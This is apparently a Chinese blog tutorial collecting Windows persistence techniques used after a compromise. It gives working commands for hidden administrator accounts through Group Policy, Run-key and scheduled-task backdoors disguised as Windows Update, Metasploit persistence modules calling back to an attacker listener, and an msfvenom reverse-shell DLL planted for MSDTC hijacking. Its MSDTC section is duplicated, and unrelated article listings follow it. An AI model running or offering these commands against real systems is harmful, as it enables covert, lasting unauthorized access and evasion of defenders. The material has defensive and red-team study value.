windows权限维持汇总

news2024/12/23 15:00:02

Windows 权限维持

一、文件层面

1)attrib

使用 Attrib +s +a +h +r 命令

s:设置系统属性(System) a:设置存档属性(Archive) h:设置隐藏属性(Hidden)

r:设置只读属性(Read-only)

attrib +s +a +h +r c:\test
image-20240826151634883 image-20240826151920188

命令执行后,我们并看不到 test 目录,但是他是存在的,也是可以进入的

想要看到,就把对应的属性删掉

image-20240826152530333

test 文件夹显示出来了

2)系统图标隐藏

可以把文件夹的名称重命名为 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

image-20240826153334228

图标变成了我的电脑,双击也是可以到达我的电脑,不能进入查看我们文件夹的内容

但是命令行里可以看到文件夹,也能进入并查看文件夹里的内容

常用的文件夹名称

我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号网络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d}
网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

3)畸形名称

创建文件名称为 test...\ 显示名称是 test...

这个文件可以看到,但是不能访问内部文件,也不能删除。

md test...\
copy 1111.txt test...\

在这里插入图片描述

在交互界面删除,显示找不到项目 无法删除

在这里插入图片描述

打开里面文件 也会报错 不让查看

要想删除只能执行

  • /s 表示递归地删除指定目录及所有子目录中的文件。
  • /q 表示安静模式,即不提示确认直接删除。
rd /s /q c:\test...\

在这里插入图片描述

4)驱动级文件隐藏

驱动隐藏最典型的现象就是系统盘中存在以下文件:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

驱动隐藏我们可以用 EasyFileLocker 实现

下载链接: https://pan.baidu.com/s/1h2_k1picYeinpz3XtI8ypA?pwd = 141d

提取码: 141d

image-20240826194036485

可以选择属性,实现文件的隐藏
要想删除

1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

二、组策略

组策略后门更加隐蔽,在 gpedit.msc 中,可以在计算机完成对应操作时自动执行。比如关机操作

echo off
net user lingx5$ 1234 /add
net localgroup administrators lingx5$ /add
exit

把这段复制到 user.bat中

这个脚本就是在操作系统中添加一个 lingx5 : 1234 < / s p a n > 的用户,并把 ‘ l i n g x 5 ‘ 这个用户添加到 ‘ a d m i n i s t r a t o r s ‘ 用户组,以 ‘ : 1234 </span > 的用户,并把`lingx5`这个用户添加到`administrators`用户组,以` :1234</span>的用户,并把lingx5‘这个用户添加到administrators用户组,以` 符号结尾的用户就是我们常说的影子用户(隐藏用户),对于一般的用户来说,很难发现这个用户名,即使他发现并删除了用户,在下一次关机时,我们注入的组策略还会执行,会再次创建这个用户。

win+r打开输入gpedit.msc–>定位到"计算机配置一>Windows设置一>脚本(启动/关机)"

在这里插入图片描述

在这里插入图片描述

在关机属性中添加

在这里插入图片描述

重启计算机

在这里插入图片描述

添加成功了,并且 net user命令是无法查看的

组策略不只能添加用户进行维权,攻击者还可以把一些恶意的脚本或程序通过组策略来运行,也可以嗅探管理员的密码等。

三、注册表

1) 手动添加

注册表也是攻击者常用的维权手段,因为注册表的信息是庞大的,所以在注册表里的信息会更加隐蔽,并且难以排查。

  • reg add:是用于添加或修改注册表项的命令。
  • "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run":指定了要操作的注册表路径,这个路径是用于存储当前用户的自启动程序信息的位置。
  • /v Pentestlab:设置要添加的注册表项的名称为 “loaclUser”。(可以自定义)
  • /t REG_SZ:指定注册表项的数据类型为字符串类型(REG_SZ)。
  • /d "C:\Users\tmp\NET.exe":设置注册表项的值为 “C:\Users\tmp\NET.exe”,即指定自启动程序的路径为这个可执行文件。(这里制定我们的木马,后门程序)
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v
loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v
loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe"
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v
loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe"
reg add
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v
loaclUser /t REG_SZ /d "C:\Users\tmp\NET.exe"

另外两个注册表位置,这些位置可以允许攻击者通过执行任意有效负载或DLL来实现持久性。这些将在登 录期间执行,并且需要管理员级别的特权。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v
loaclUser /t REG_SZ /d "C:\tmp\NET.exe"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep
end" /v loaclUser /t REG_SZ /d "C:\tmp\NET.dll"

2)meterpreter持久化

a) persistence模块

当然在meterpreter中也有自动化添加的模块,当机器上线我们的msf时,可以使用persistence这个模块

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set payload windows/x64/meterpreter/reverse_tcp 
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set session 1  
session => 1
msf6 exploit(windows/local/persistence) > set lhost 192.168.84.128
lhost => 192.168.84.128
msf6 exploit(windows/local/persistence) > set lport 4444
lport => 4444
msf6 exploit(windows/local/persistence) > set startup USER
startup => USER
msf6 exploit(windows/local/persistence) > run

[*] Running persistent module against DESKTOP-906JKQ3 via session ID: 1
[+] Persistent VBS script written on DESKTOP-906JKQ3 to C:\Users\lingx5\AppData\Local\Temp\UNlzRVY.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi
[+] Installed autorun on DESKTOP-906JKQ3 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svwTznRkXi
[*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.3418/DESKTOP-906JKQ3_20240827.3418.rc
msf6 exploit(windows/local/persistence) > 

在meterpreter里用background命令,使用windows/local/persistence模块指定session的id和设置参数,在tmp目录下生成vbs脚本,并自动添加注册表任务

在这里插入图片描述

只需要在kali里监听,等待目标登陆就可以连接

在这里插入图片描述

这种有一种弊端,就是程序不是我们自己做完免杀的,很容易被杀毒软件杀掉,导致木马没办法上线

b) persistence_exe 模块
meterpreter > background         
[*] Backgrounding session 1... 
msf6 exploit(multi/handler) > use post/windows/manage/persistence_exe
msf6 post(windows/manage/persistence_exe) > set session 1
session => 1
msf6 post(windows/manage/persistence_exe) > set rexepath /opt/win_exp/win_exp.exe
rexepath => /opt/win_exp/win_exp.exe
msf6 post(windows/manage/persistence_exe) > set rexename shell.exe
rexename => shell.exe
msf6 post(windows/manage/persistence_exe) > run

[*] Running module against DESKTOP-906JKQ3
[*] Reading Payload from file /opt/win_exp/win_exp.exe
[+] Persistent Script written to C:\Users\lingx5\AppData\Local\Temp\shell.exe
[*] Executing script C:\Users\lingx5\AppData\Local\Temp\shell.exe
[+] Agent executed with PID 2076
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dJggfAUjDAS
[*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/DESKTOP-906JKQ3_20240827.0058/DESKTOP-906JKQ3_20240827.0058.rc
[*] Post module execution completed
msf6 post(windows/manage/persistence_exe) > 

在这里插入图片描述

rexepath指定把本地的做好免杀的/opt/win_exp/win_exp.exe

rexename指定上传的文件名称(一般都是系统的服务名称,比较难被察觉的),默认的文件目录是%TEMP%目录

缺点就是不能指定上传文件的路径,不能够很好的隐藏。

还是推荐用upload上传上去,手动添加注册表等进行维权

c) WMI 持久化
msf6 exploit(windows/local/wmi_persistence) > show options                                                                                        
Module options (exploit/windows/local/wmi_persistence):                                                                                          
   Name                Current Setting  Required  Description                                                                      
   ----                ---------------  --------  -----------
   CALLBACK_INTERVAL   1800000          yes       Time between callbacks (In milliseconds). (Default: 1800000).
   CLASSNAME           UPDATER          yes       WMI event class name. (Default: UPDATER)
   EVENT_ID_TRIGGER    4624             yes       Event ID to trigger the payload. (Default: 4625)
   PERSISTENCE_METHOD  EVENT            yes       Method to trigger the payload. (Accepted: EVENT, INTERVAL, LOGON, PROCESS, WAIT
                                                  FOR)
   PROCESS_TRIGGER     CALC.EXE         yes       The process name to trigger the payload. (Default: CALC.EXE)
   SESSION             1                yes       The session to run this module on
   USERNAME_TRIGGER    BOB              yes       The username to trigger the payload. (Default: BOB)
   WAITFOR_TRIGGER     CALL             yes       The word to trigger the payload. (Default: CALL)
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '',seh,thread,process, none)
   LHOST     192.168.84.128   yes       The listen address (an interface may bespecified)
   LPORT     4444             yes       The listen port
   **DisablePayloadHandler: True   (no handler will be created!)**

参数介绍:

  1. CALLBACK_INTERVAL: 指定回调的间隔时间,单位是毫秒。默认为 1800000 毫秒(30 分钟),表示每 30 分钟触发一次持久化的 Payload。
  2. CLASSNAME: WMI 事件类的名称。这个名称在目标系统中用于标识该持久化任务。默认为 UPDATER,你可以更改为其他不引人注意的名称。
  3. EVENT_ID_TRIGGER: 指定哪个事件 ID 触发 Payload。默认是 4625,这是 Windows 日志中常见的登录失败事件。你可以根据需求修改为其他事件 ID(如成功登录的事件 ID 4624)来更灵活地触发 Payload。
  4. PERSISTENCE_METHOD: 选择持久化的触发方法。以下是几种可用的触发方法:
    • EVENT: 基于事件 ID 触发(如登录失败事件)。
    • INTERVAL: 定期触发(基于 CALLBACK_INTERVAL)。
    • LOGON: 当用户登录时触发。
    • PROCESS: 当指定的进程启动时触发(如 calc.exe)。
    • WAITFOR: 当系统等待某个特定的关键词时触发。
  5. PROCESS_TRIGGER: 只有在 PERSISTENCE_METHOD 设置为 PROCESS 时有效,指定要监控的进程名称。当这个进程启动时,Payload 会被触发。默认是 CALC.EXE,你可以更改为你希望监控的其他合法进程。
  6. SESSION: 你要在其上运行该模块的目标会话(session ID)。这个参数必须设置。
  7. USERNAME_TRIGGER: 只有在 PERSISTENCE_METHOD 设置为 LOGON 时有效,指定哪个用户名登录时触发 Payload。默认是 BOB,你可以更改为目标系统中的实际用户名。
  8. WAITFOR_TRIGGER: 只有在 PERSISTENCE_METHOD 设置为 WAITFOR 时有效,指定触发 Payload 的关键词。默认是 CALL

Payload 选项 (windows/x64/meterpreter/reverse_tcp)

  1. EXITFUNC: 指定退出的方式:
    • process: 默认选项,退出时结束当前进程。
    • seh: 使用结构化异常处理 (SEH) 机制退出。
    • thread: 退出时只结束当前线程。
    • none: 不采取任何退出动作。
  2. LHOST: 你的攻击机的监听地址(IP)。这是目标系统回连的地址,通常是你的本地 IP 或 VPS IP。
  3. LPORT: 你的攻击机的监听端口。目标系统回连时会连接到这个端口。
  4. DisablePayloadHandler: 如果设置为 True,Metasploit 不会自动启动 Payload 的监听(Handler)。这通常用于在已经运行其他监听器时避免冲突。

示例

use windows/local/wmi_persistence
set session 1
set persistence_method EVENT
set event_id_trigger 4624
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.84.128
set lport 4444
run

不过需要注意的是:我们要用此模块,我们得获得目标系统的admin权限

d) 添加用户

post/windows/manage/add_user创建一个具有管理员权限的隐藏用户,以便以后重新访问。

use post/linux/manage/add_user
set session 1
set USER test
set PASS 1234
run

在这里插入图片描述

我这里是普通用户的权限,所以没有添加成功

也得需要获得的权限有添加用户的权限,才能成功添加。

e) 创建服务

persistence_service这个模块可以创建新的服务,来达到权限维持的目的

use exploit/windows/local/persistence_service

set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.84.128
set LPORT 4444
set REMOTE_EXE_NAME systemupdate.exe
set SERVICE_NAME WindowsUpdateService
set SERVICE_DISPLAY_NAME "Windows Update Service"
set SERVICE_DESCRIPTION "Provides updates for the Windows operating system."
set STARTUP auto

run

需要管理员权限

四、计划任务

Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执 行程序或脚本。
这种行为可作为一种持久性机制被攻击者利用。通过计划任务执行持久性不需要管理 员权限,但如果已获得提
升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。

SCHTASKS 是 Windows 中的一个内置命令行工具,可以用于创建、删除和管理计划任务。

schtasks /create /tn "Windows Update Service" /tr "C:\Windows\System32\shell.exe" /sc onlogon /ru "SYSTEM"

参数解释:

  • /create: 创建一个新的任务。
  • /tn "Windows Update Service": 任务名称(这里伪装成“Windows Update Service”)。
  • /tr "C:\Windows\System32\backdoor.exe": 任务要执行的程序路径。
  • /sc onlogon: 任务的触发器,这里设置为在用户登录时触发(你还可以设置其他触发条件,如系统启动 /sc onstart)。
  • /ru "SYSTEM": 以 SYSTEM 权限运行该任务(这通常用于确保高权限执行)。

常见触发条件:

  • /sc minute: 每隔几分钟执行一次。
  • /sc daily: 每天执行。
  • /sc onstart: 在系统启动时执行。
  • /sc onlogon: 在用户登录时执行。

验证:

schtasks /query /tn "Windows Update Service"

五、创建服务

如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提 升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动 中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立SOC能力,以识别在其恶意软件中使用基本技术的威胁。

sc create ServiceName binPath= "C:\Path\To\Your\Backdoor.exe" start= auto

image-20240827162019695

  • ServiceName:自己定义一个比较隐蔽的服务名字。
  • binPath : 指定后门脚本存在路径
  • start : 启动方式

PowerShell创建新服务

New-Service -Name "SystemUpdate" -BinaryPathName "C:\temp\shell.exe" -Description "systemupdate" -StartupType Automatic

sc start pentestlab

六、内存⻢

内存马是无文件攻击的一种形式。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,WMl 和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。

内存马不会有文件落地,很难被流量监测系统检测到,所以很难发现和排查

原理

内存注入:

  • 内存马通过在目标进程的内存中直接注入恶意代码或通过加载恶意的类、函数等方式,在不触及磁盘的情况下在内存中驻留。这种注入方式避免了传统的基于磁盘的检测手段,如杀毒软件或文件完整性监控。

挂钩(Hooking)关键组件:

  • 内存马通常会通过挂钩(hook)系统 API、Web 服务器的请求处理函数或应用框架的核心逻辑,使恶意代码能够拦截、修改或执行特定请求。例如:
    • 在 Web 容器(如 Tomcat、JBoss、WebLogic)中,内存马可以挂钩 ServletFilter 组件,监听 HTTP 请求并在特定请求到达时执行恶意逻辑。
    • 在 .NET 环境中,内存马可能会挂钩 ASP.NET 的 HTTP 请求处理管道。

分类

1.**servlet-api型 :**通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

2.字节码增强型: 通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

常见的就是java的内存马了,这与java请求处理的过程有关:

客户端发起一个http请求,比如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doGet方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法

我们在doGet方法中,我们写入恶意的代码,他就会被servlet容器加载到系统内存中,从而达到内存马注入的目的

实现

以tomcat的servletAPI型内存⻢为例讲一下内存⻢的实现。
创建一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到
StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。
0x00劫持后门

但是内存马仍有缺点:一但容器或者服务关闭重启,就会调用destory()方法,杀死内存马,并由jvm的垃圾回收机制回收

七、劫持后门

MSDTC简介

msdtc.exe是微软分布式传输协调程序。该进程调用系统Microsoft Personal Web Server和Microsoft SQL
Server。该服务用于管理多个服务器。
msdtc.exe是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源管理器,删除
要小心。
对应服务MSDTC,全称Distributed Transaction Coordinator,Windows系统默认启动该服务

在这里插入图片描述

对应进程msdtc.exe,位于%windir%system32

原理

当Windows操作系统启动Microsoft分布式事务处理协调器(MSDTC)服务时,攻击便开始了,该服务可协调跨越多个资源管理器(例如数据库,消息队列和文件系统)的事务。当目标计算机加入域时,一旦MSDTC服务启动,它将搜索注册表。当计算机加入域中,MSDTC服务启动时,会搜索注册表

HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftMSDTC\MTxOCI

MSDTC服务中的MTxOCI组件搜索三个DLL:oci.dllSQLLib80.dllxa80.dll。Windows系统默认不包
含oci.dll,我们自己写一个恶意的oci.dll,并将其放置在%SystemRoot%\ system32 \中。oci.dll就绪,使用远程作业命令杀死MSDTC服务(taskkill / im msdtc.exe / f),从而导致MSDTC重新加载自身。但是,这一次它将查找并找到oci.dll。这时候就会利于这个服务把我们的后门dll拉起来。

实现

成dll木⻢文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f dll >oci.dll

将刚才生成的 oci.dll 上传到目标机器的 C:\Windows\System32 目录下

upload oci.dll C:\Windows
shell
C:\Windows>move oci.dll c:\Windows\System32

oci.dll放入system32 重启msdtc服务

taskkill /f /im msdtc.exe

重启msdtc

net start msdtc

.dll就绪,使用远程作业命令杀死MSDTC服务(taskkill / im msdtc.exe / f),从而导致MSDTC重新加载自身。但是,这一次它将查找并找到oci.dll。这时候就会利于这个服务把我们的后门dll拉起来。

实现

成dll木⻢文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f dll >oci.dll

将刚才生成的 oci.dll 上传到目标机器的 C:\Windows\System32 目录下

upload oci.dll C:\Windows
shell
C:\Windows>move oci.dll c:\Windows\System32

oci.dll放入system32 重启msdtc服务

taskkill /f /im msdtc.exe

重启msdtc

net start msdtc

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2080153.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深度学习基础--11个专题带你入门Pytorch上

目的 本专栏更新深度学习基础&#xff0c;包括pytorch、tensorflow的使用以及CNN、RNN、yolo、GAN、LSTM、Transformer等神经网络的理论基础 前言 Pytorch是最常用的深度学习框架&#xff0c;里面包含了大量关于构建神经网络及其运算的APIPytorch基础入门分为上下两篇文章&am…

基于事件总线EventBus实现邮件推送功能

什么是事件总线 事件总线是对发布-订阅模式的一种实现。它是一种集中式事件处理机制&#xff0c;允许不同的组件之间进行彼此通信而又不需要相互依赖&#xff0c;达到一种解耦的目的。 关于这个概念&#xff0c;网上有很多讲解的&#xff0c;这里我推荐一个讲的比较好的&#x…

光伏设计时要画出哪些模型?

在光伏系统的设计中&#xff0c;为了确保项目的顺利实施与高效运行&#xff0c;设计师需要绘制多种模型来综合考虑各种因素&#xff0c;包括参照物、障碍物以及楼顶配房等。这些模型不仅有助于预测光伏系统的发电效率&#xff0c;还能帮助规划最佳的安装布局&#xff0c;减少阴…

碎片笔记|Computer Journal 期刊投稿注意事项

前言&#xff1a;3月份把之前做的一篇工作转投到了computer journal&#xff0c;8月7号来信说我投稿的工作之前因为挂在arXiv上&#xff0c;因此和正常的投稿要求不太一致&#xff0c;需要更换投稿方式&#xff0c;编辑提供了两种选择如下。 The first choice is to keep your …

python 接口自动化测试中的高阶函数!

高阶函数简介 高阶函数是指接受函数作为参数或者返回函数作为结果的函数。在 Python 中&#xff0c;有许多内置的高阶函数&#xff0c;如 map, filter, reduce 等&#xff0c;它们可以极大地简化代码并提高代码的可维护性。 summer camp map 函数 map 函数接收一个函数和一个…

Jmeter下载、配置环境变量

Jmeter下载 下载地址&#xff1a;Apache JMeter - Download Apache JMeter 下载后无需安装&#xff0c;解压后即可使用。解压后目录如下 配置环境变量 JMETER_HOME 环境变量Path %JMETER_HOME%\bin 环境变量CLASSPATH %JMETER_HOME%\lib 验证是否配置成功 在cmd命令窗中 输入…

玄机又成国漫首创!IP与AI融合,凭实力火出圈

现在国漫越来越卷了&#xff0c;不仅卷制作质量&#xff0c;还卷各种花式联动。最近玄机科技和百度文库联合举办的AI漫画大赛圆满结束&#xff0c;这还是国内的IP第一次和AI技术融合&#xff0c;而且产出了不少好作品。下面就一起来看看吧&#xff01; 提到玄机科技&#xff0c…

机器人笛卡尔空间轨迹规划-直线差补和圆弧差补

上一文&#xff0c;我们讨论了三次多项式和五次多项式的差补算法&#xff0c;那么这边文章具体讨论一下笛卡尔空间轨迹规划的直线差补和圆弧差补。 步骤 &#xff08;1&#xff09;知道起始点和终止点的位姿&#xff0c;和速度信息。 &#xff08;2&#xff09;根据两点能确定一…

湖仓一体大数据平台:开启企业数据管理新时代(附Hudi案例)

湖仓一体大数据平台&#xff1a;开启企业数据管理新时代&#xff08;附Hudi案例&#xff09; 前言湖仓一体大数据平台 前言 在当今数字化浪潮汹涌澎湃的时代&#xff0c;数据如同企业发展的珍贵宝藏&#xff0c;而如何高效地挖掘、管理和利用这些宝藏&#xff0c;成为了企业在…

详细的Anaconda安装jupyter notebook与使用

jupyter notebook概念 Jupyter Notebook 是一种交互式计算环境&#xff0c;广泛用于数据分析、机器学习和编程学习等领域。 一、pip安装 打开 Anaconda Prompt 输入&#xff1a;pip install jupyter notebook pip install jupyter notebook 安装成功画面 输入命令&#xff1…

Git实战精粹

一、快速入门 1. 什么是Git Git是一个分布式的版本控制软件。 软件&#xff0c;类似于QQ、office、dota等安装到电脑上才能使用的工具版本控制&#xff0c;类似于毕业论文、写文案、视频剪辑等&#xff0c;需要反复修改和保留原历史数据分布式 文件夹拷贝本地版本控制集中式…

SpringMVC基于注解的使用

SpringMVC基于注解的使用 首先导入spring-mvc的依赖文件 然后配置上篇文章的web.xml文件 在配置上篇文章的spring-mvc.xml文件 创建一个ParamsContrller类写个方法方法里面的参数名可以用到客户端请求&#xff0c;且可以为参数写任意类型 如果想改参数名可以用RequestParam为…

3D模型OBJ格式详解

竹杖芒鞋轻胜马,谁怕?一蓑烟雨任平生~ 个人主页&#xff1a; rainInSunny | 个人专栏&#xff1a; C那些事儿、 Qt那些事儿 文章目录 写在前面OBJ格式解析OBJ文件示例MTL文件OBJ渲染简述 写在前面 OBJ格式是一种简单的文本格式&#xff0c;用于描述三维模型的几何形状和材质…

golang本地缓存fastcache高性能实现原理

1. git仓库 https://github.com/abbothzhang/fastcache 2. 整体原理 initCache时不会申请内存&#xff0c;只有第一次set时候才会申请&#xff0c;且会一次性申请64MB&#xff0c;后面不够了又一次性申请1024*64MB大小内存 2.1. 时序图 3. 高性能原因 将cache分为512个buc…

Unity(2022.3.41LTS) - 网格,纹理,材质

目录 零.简介 一、网格&#xff08;Mesh&#xff09; 二、材质&#xff08;Material&#xff09; 三、纹理&#xff08;Texture&#xff09; 四、三者之间的关系 零.简介 在 Unity 中&#xff0c;网格&#xff08;Mesh&#xff09;、纹理&#xff08;Texture&#xff09;和…

软考评测知识点

常见的存储单位&#xff1a; 1B8bit 1TB1024GB 1GBMBKBB 机器数&#xff1a;将符号数字化的数&#xff0c;是数字在计算机中的二进制表示形式。&#xff08;最高位0表示正数&#xff0c;1表示负数&#xff09; 二进制正数的原码、反码、补码不变&#xff0c;移码等于补码符号位…

外包干了两年,快要废了。。。

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 简单的说下&#xff0c;我大学的一个同学&#xff0c;毕业后我自己去了自研的公司&#xff0c;他去了外包&#xff0c;快两年了我薪资、技术各个方面都有了很大的…

Ubuntu下部署Hadoop集群+Hive(三)

Hive部署 准备环境 apache-hive-4.0.0-bin.tar.gz、mysql-connector-j-8.1.0.jar 如果是离线安装的话&#xff0c;使用mysql-8.0.34-1.el7.x86_64.rpm-bundle.tar&#xff0c;在线安装的话则不用&#xff1b; hive下载地址&#xff1a;Index of /hive (apache.org) mysql …

面试中的SEO优化:从基本概念到实用策略

前言 为什么要学习SEO SEO对于Web站点很重要&#xff0c;有助于优化网页在搜索引擎中的排名&#xff0c;提升网站可见性和流量。掌握SEO技术可以确保网页结构和内容对搜索引擎友好&#xff0c;从而提高用户访问量和用户体验。而且SEO被面试问的很多 SEO是什么&#xff1f; …

day02-面向对象-多态抽象类接口

一、⭐多态⭐ 1.1 概述 1.多态是在继承/实现情况下的一种现象, 表现为对象多态和行为多态 ​ 2.⭐对象多态写法&#xff1a; ​继承&#xff1a;父类 变量 new 子类1()&#xff1b; ​父类 变量 new 子类2()&#xff1b;实现&#xff1a;接口 变量 new 实现类(); ​ 3.多态…